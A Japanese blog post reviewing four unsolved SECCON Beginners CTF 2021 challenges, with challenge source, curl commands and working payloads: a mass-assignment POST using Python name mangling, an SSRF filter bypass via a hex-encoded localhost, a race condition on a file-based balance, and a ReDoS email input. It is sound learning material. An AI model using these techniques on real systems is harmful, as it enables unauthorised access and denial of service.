search
LoginSignup
0

More than 1 year has passed since last update.

posted at

updated at

SECCON Beginners CTF 2021 解けなかった問題を勉強した記録

SECCON Beginners CTF 2021 解けなかった問題を勉強した記録
悔しさを忘れないために残す
反省なくして,進歩なし

web 02 Werewolf

問題

I wish I could play as a werewolf...
https://werewolf.quals.beginners.seccon.jp/
image.png

入手データ

app.py
import os
import random
from flask import Flask, render_template, request, session

# ====================

app = Flask(__name__)
app.FLAG = os.getenv("CTF4B_FLAG")

# ====================

class Player:
    def __init__(self):
        self.name = None
        self.color = None
        self.__role = random.choice(['VILLAGER', 'FORTUNE_TELLER', 'PSYCHIC', 'KNIGHT', 'MADMAN'])
        # :-)
        # self.__role = random.choice(['VILLAGER', 'FORTUNE_TELLER', 'PSYCHIC', 'KNIGHT', 'MADMAN', 'WEREWOLF'])

    @property
    def role(self):
        return self.__role

    # :-)
    # @role.setter
    # def role(self, role):
    #     self.__role = role


# ====================

@app.route("/", methods=["GET", "POST"])
def index():
    if request.method == 'GET':
        return render_template('index.html')

    if request.method == 'POST':
        player = Player()

        for k, v in request.form.items():
            player.__dict__[k] = v

        return render_template('result.html',
            name=player.name,
            color=player.color,
            role=player.role,
            flag=app.FLAG if player.role == 'WEREWOLF' else ''
        )

# ====================

if __name__ == '__main__':
    app.run(host=os.getenv("CTF4B_HOST"), port=os.getenv("CTF4B_PORT"))

当日の行動

        for k, v in request.form.items():
            player.__dict__[k] = v

を見て, Burp で POST データを改ざんし

name=AAA&color=red&role=WEREWOLF

とか

name=AAA&color=red&__role=WEREWOLF

とか

name=AAA&color=red&self.__role=WEREWOLF

を試したが通らなかった。

恥ずかしくてこれ以上は書けないが,これだけではなく,約2時間いろんな無駄なパターンを試していた。

復習と反省

__変数とは何かをググる

参考サイト

__変数(前に_が2個ついた変数)は疑似的なプライベート変数で外部から書き換えができないが,内部的に _クラス名__変数名 で public変数 が用意されている。

実験

curl -w '\n' 'https://werewolf.quals.beginners.seccon.jp/' --data 'name=AAA&color=red&_Player__role=WEREWOLF' -XPOST

image.png

なんで 「__変数 python」ってググらかったのか?
わからないことは,ちゃんと調べようぜ。

復習してて Burp について気づきがあった。
成功例
image.png

ありがちなミス
image.png
POSTで送るデータを改ざんするとき,よけいな改行に注意

web 03 check_url

問題

Have you ever used curl ?
https://check-url.quals.beginners.seccon.jp/

入手データ

index.php
<!-- HTML Template -->
          <?php
            error_reporting(0);
            if ($_SERVER["REMOTE_ADDR"] === "127.0.0.1"){
              echo "Hi, Admin or SSSSRFer<br>";
              echo "********************FLAG********************";
            }else{
              echo "Here, take this<br>";
              $url = $_GET["url"];
              if ($url !== "https://www.example.com"){
                $url = preg_replace("/[^a-zA-Z0-9\/:]+/u", "👻", $url); //Super sanitizing
              }
              if(stripos($url,"localhost") !== false || stripos($url,"apache") !== false){
                die("do not hack me!");
              }
              echo "URL: ".$url."<br>";
              $ch = curl_init();
              curl_setopt($ch, CURLOPT_URL, $url);
              curl_setopt($ch, CURLOPT_CONNECTTIMEOUT_MS, 2000);
              curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
              echo "<iframe srcdoc='";
              curl_exec($ch);
              echo "' width='750' height='500'></iframe>";
              curl_close($ch);
            }
          ?>
<!-- HTML Template -->

当日の行動

直球
127.0.0.1
image.png
ダメ 127👻0👻0👻1 になる

直球2
localhost
image.png
対策済みだ

変化球思いつかない

「localhost 同じ意味」ググってみる
ない

復習と反省

「localhost 127.0.0.1 その他」でググったら

2130706433 (Decimal)
0x7F000001 (Hex)
017700000001 (Octal)

2130706433
image.png
Bad Request

0x7F000001
image.png
当たりですね。

また

              echo "Hi, Admin or SSSSRFer<br>";

を見ていなかった。

SSRF(Server Side Request Forgery)だ
ヒントあるじゃん。

少し調べただけで,localhost の代わりは無いと決めつけてしまった。
調べようが足りない。

web 05 cant_use_db

問題

Can't use DB.
I have so little money that I can't even buy the ingredients for ramen.
🍜
https://cant-use-db.quals.beginners.seccon.jp/
image.png

入手データ

app.py
import os
import re
import time
import random
import shutil
import secrets
import datetime
from flask import Flask, render_template, session, redirect

app = Flask(__name__)
app.secret_key = secrets.token_bytes(256)


def init_userdata(user_id):
    try:
        os.makedirs(f"./users/{user_id}", exist_ok=True)
        open(f"./users/{user_id}/balance.txt", "w").write("20000")
        open(f"./users/{user_id}/noodles.txt", "w").write("0")
        open(f"./users/{user_id}/soup.txt", "w").write("0")
        return True
    except:
        return False


def get_userdata(user_id):
    try:
        balance = open(f"./users/{user_id}/balance.txt").read()
        noodles = open(f"./users/{user_id}/noodles.txt").read()
        soup = open(f"./users/{user_id}/soup.txt").read()
        return [int(i) for i in [balance, noodles, soup]]
    except:
        return [0] * 3


@app.route("/")
def top_page():
    user_id = session.get("user")
    if not user_id:
        dirnames = datetime.datetime.now()
        user_id = f"{dirnames.hour}{dirnames.minute}/" + secrets.token_urlsafe(30)
        if not init_userdata(user_id):
            return redirect("/")
        session["user"] = user_id
    userdata = get_userdata(user_id)
    info = {
        "user_id": re.sub("^[0-9]*?/", "", user_id),
        "balance": userdata[0],
        "noodles": userdata[1],
        "soup": userdata[2]
    }
    return render_template("index.html", info = info)


@app.route("/buy_noodles", methods=["POST"])
def buy_noodles():
    user_id = session.get("user")
    if not user_id:
        return redirect("/")
    balance, noodles, soup = get_userdata(user_id)
    if balance >= 10000:
        noodles += 1
        open(f"./users/{user_id}/noodles.txt", "w").write(str(noodles))
        time.sleep(random.uniform(-0.2, 0.2) + 1.0)
        balance -= 10000
        open(f"./users/{user_id}/balance.txt", "w").write(str(balance))
        return "💸$10000"
    return "ERROR: INSUFFICIENT FUNDS"


@app.route("/buy_soup", methods=["POST"])
def buy_soup():
    user_id = session.get("user")
    if not user_id:
        return redirect("/")
    balance, noodles, soup = get_userdata(user_id)
    if balance >= 20000:
        soup += 1
        open(f"./users/{user_id}/soup.txt", "w").write(str(soup))
        time.sleep(random.uniform(-0.2, 0.2) + 1.0)
        balance -= 20000
        open(f"./users/{user_id}/balance.txt", "w").write(str(balance))
        return "💸💸$20000"
    return "ERROR: INSUFFICIENT FUNDS"


@app.route("/eat")
def eat():
    user_id = session.get("user")
    if not user_id:
        return redirect("/")
    balance, noodles, soup = get_userdata(user_id)
    shutil.rmtree(f"./users/{user_id}/")
    session["user"] = None
    if (noodles >= 2) and (soup >= 1):
        return os.getenv("CTF4B_FLAG")
    if (noodles >= 2):
        return "The noodles seem to get stuck in my throat."
    if (soup >= 1):
        return "This is soup, not ramen."
    return "Please make ramen."


if __name__ == "__main__":
    app.run()

ファイルで balance (残高) を管理しており,ORACLE DATABASE の SELECT FOR UPDATE のようなロック処理が無いため,残高以上の買い物ができる可能性がある。

当日の行動

何も思いつかず,早々にギブ
配布されたファイルすら見ていなかった。

復習と反省

参考(作問者writeup)

pythonだとうまくいく(コードは作問者writeup)

>python Ramen.py
C:\Users\xxx\Anaconda3\lib\site-packages\urllib3\connectionpool.py:847: InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
  InsecureRequestWarning)
C:\Users\xxx\Anaconda3\lib\site-packages\urllib3\connectionpool.py:847: InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
  InsecureRequestWarning)
C:\Users\xxx\Anaconda3\lib\site-packages\urllib3\connectionpool.py:847: InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
  InsecureRequestWarning)
C:\Users\xxx\Anaconda3\lib\site-packages\urllib3\connectionpool.py:847: InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
  InsecureRequestWarning)
C:\Users\xxx\Anaconda3\lib\site-packages\urllib3\connectionpool.py:847: InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
  InsecureRequestWarning)
C:\Users\xxx\Anaconda3\lib\site-packages\urllib3\connectionpool.py:847: InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
  InsecureRequestWarning)
{'session': 'eyJ1c2VyIjoiMTcyOC9BS1B0UTNwWXlyUEcxOWZuZFRkYkRWbE1LRVk0bXBuRTZZcVFDMGk4In0.YKtjpg.LZmKYmjFc28osyfxD3jK01Aj8bo'}
C:\Users\xxx\Anaconda3\lib\site-packages\urllib3\connectionpool.py:847: InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
  InsecureRequestWarning)
ctf4b{r4m3n_15_4n_3553n714l_d15h_f0r_h4ck1n6}

curlだと非同期通信できないのかうまくいかない。
残高が足りないと怒られる。
※各コマンドは一度にコピペで貼っているので操作時間はゼロです。

$ curl -c cookie.txt -k 'https://cant-use-db.quals.beginners.seccon.jp/'
<!doctype html>
<html lang="ja">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Can't use DB.</title>
    <link rel="stylesheet" media="all" href="static/css/ress.min.css" />
    <link rel="stylesheet" media="all" href="static/css/style.css" />
    <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
</head>
<body>
<header>
    <div class="container">
        <div class="row">
            <div class="col span-12">
                <div class="head">
                <h1><a href="javascript:alert('🍜')">Hack ramen 🍜</a></h1>
                </div>
            </div>
        </div>
    </div>
</header>
<div class="mainimg">
    <div class="container">
        <div class="row">
            <center>
            <div class="col span-6">
                <img src="static/img/ramen.jpg" alt="ramen">
            </div>
            </center>
        </div>
    </div>
</div>
<main>
<section>
    <div class="container">
        <div class="row">
            <div class="col span-6">
                <div style="padding: 10px; margin-bottom: 10px; border: 1px dotted #333333;">
                <center>
                <h2  class="catch">UserData (texts)</h2>
                <h5>Balance: $20000</h5>
                <h5>Noodles: 0/2</h5>
                <h5>Soup: 0/1</h5>
                <h5>Wallet: <font size="4">7Je13GedojBc5hYTWXKiK7swd4HBnk-B2R8nPQwD</font></h5>
                </center>
                </div>
            </div>
            <div class="col span-6">
                <center>
                <h2  class="catch">Store</h2>
                Noodles $10000<br>
                <button style="width:80%;" onclick="$.post('/buy_noodles', function(data){alert(data);location.reload();});">Buy</button><br>
                Soup $20000<br>
                <button style="width:80%;" onclick="$.post('/buy_soup', function(data){alert(data);location.reload();});;">Buy</button><br>
                <font color="red">Flag</font><br>(Noodles>=2, Soup>=1)<br>
                <button style="width:80%;" onclick="location.href='./eat';">😋</button><br>
                </center>
            </div>
        </div>
    </div>
</section>
</main>
</body>
</html>$ curl -b cookie.txt -k -w '\n' 'https://cant-use-db.quals.beginneon.jp/buy_noodles' --data '' -XPOST
💸$10000
$ curl -b cookie.txt -k -w '\n' 'https://cant-use-db.quals.beginners.seccon.jp/buy_soup' --data '' -XPOST
ERROR: INSUFFICIENT FUNDS
$ curl -b cookie.txt -k -w '\n' 'https://cant-use-db.quals.beginners.seccon.jp/buy_noodles' --data '' -XPOST
💸$10000
$ curl -b cookie.txt -k -w '\n' 'https://cant-use-db.quals.beginners.seccon.jp/buy_soup' --data '' -XPOST
ERROR: INSUFFICIENT FUNDS
$ curl -b cookie.txt -k -w '\n' 'https://cant-use-db.quals.beginners.seccon.jp/buy_noodles' --data '' -XPOST
ERROR: INSUFFICIENT FUNDS
$ curl -b cookie.txt -k -w '\n' 'https://cant-use-db.quals.beginners.seccon.jp/buy_soup' --data '' -XPOST
ERROR: INSUFFICIENT FUNDS
$ curl -b cookie.txt -k 'https://cant-use-db.quals.beginners.seccon.jp/eat'
The noodles seem to get stuck in my throat.

普通にブラウザから連打
image.png
ポップアップが出る前にラーメン2回,スープ2回連打できればフラグがとれる。

配布されたデータくらい見ようね。

misc 02 Mail_Address_Validator

問題

あなたのメールアドレスが正しいか調べます.
nc mail-address-validator.quals.beginners.seccon.jp 5100

入手データ

main.rb
#!/usr/bin/env ruby
require 'timeout'

$stdout.sync = true
$stdin.sync = true

pattern = /\A([\w+\-].?)+@[a-z\d\-]+(\.[a-z]+)*\.[a-z]+\z/i

begin
  Timeout.timeout(60) {
    Process.wait Process.fork {
      puts "I check your mail address."
      puts "please puts your mail address."
      input = gets.chomp
      begin
        Timeout.timeout(5) {
          if input =~ pattern
            puts "Valid mail address!"
          else
            puts "Invalid mail address!"
          end
        }
      rescue Timeout::Error
        exit(status=14)
      end
    }

    case Process.last_status.to_i >> 8
    when 0 then
      puts "bye."
    when 1 then
      puts "bye."
    when 14 then
      File.open("flag.txt", "r") do |f|
        puts f.read
      end
    else
      puts "What's happen?"
    end
  } 
rescue Timeout::Error
  puts "bye."
end

当日の行動

このコードを見て,
ステータス = 14 でフラグがとれる
Timeout::Error で ステータスに14をセットしている
ことはすぐに理解できたが,見落としもあった。

見落とし1

Timeout.timeout(5) {
}

で,5秒で処理が終わらなければタイムアウトエラーを発生させている。
いつも無限ループに困っていたが,こんなコーディングが出来るなんて。
初めて見た。

見落とし2

終わらなければタイムアウトさせる処理が

if input =~ pattern

だということ。

復習と反省

キーワード「正規表現 タイムアウト」でググってみる。
有益な情報は見つからない。

"A" * 400,000を送ってみる

image.png

ダメだ。びくともしない。
※80万文字を送るとフラグがとれたというwriteup発見。どこまでやり続けるか判断が難しい。

writeup を見る

$ nc mail-address-validator.quals.beginners.seccon.jp 5100
I check your mail address.
please puts your mail address.
hoge@fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.
ctf4b{1t_15_n0t_0nly_th3_W3b_th4t_15_4ff3ct3d_by_ReDoS}

末尾の.を取ると

$ nc mail-address-validator.quals.beginners.seccon.jp 5100
I check your mail address.
please puts your mail address.
hoge@fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga
Valid mail address!
bye.

参考サイト
正規表現でのメールアドレスチェックは見直すべき – ReDoS

ググるときの正解キーワードは,「正規表現 攻撃」だったのね。

rubyを敬遠しない
プログラムをきちんと読む
わからない命令はネットで調べる

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
What you can do with signing up
0